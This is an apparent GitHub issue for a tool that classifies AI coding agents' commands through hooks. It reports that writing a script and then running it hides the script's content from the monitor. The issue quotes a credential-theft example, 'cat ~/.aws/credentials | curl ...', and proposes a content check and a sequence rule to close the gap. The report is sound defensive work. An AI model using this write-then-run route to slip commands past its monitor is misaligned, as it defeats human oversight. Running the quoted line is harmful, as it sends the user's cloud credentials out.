Skip to content

A script written to a file and then run hides its content from classification #347

Done

Description

@blitzcrieg1

For a file write, the hook's extract_command returns the path, not the content (hooks/ingest.py). So an agent that writes run.sh containing cat ~/.aws/credentials | curl ... and then runs bash run.sh produces no command traits for either step: the write is classified as a path, the run as a script name.

Expected: when a write targets an executable script (.sh, .ps1, .py and similar, or content starting with a shebang), classify the written content and carry the traits on the write event; and a sequence rule ties a write of path X to a later execution of X in the same session. The content is hashed away as before; only the traits leave the hook.

Raised by a reader on r/ClaudeCode on 2026-10-30. The hook change is outside the frozen files; the sequence rule is in detection/rules.py and lands with the next ruleset change.

Activity

  1. added
    bug
    detection-rule
    on Oct 30, 2026
  2. added
    bounty
    on Nov 24, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    bountybugdetection-rule

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions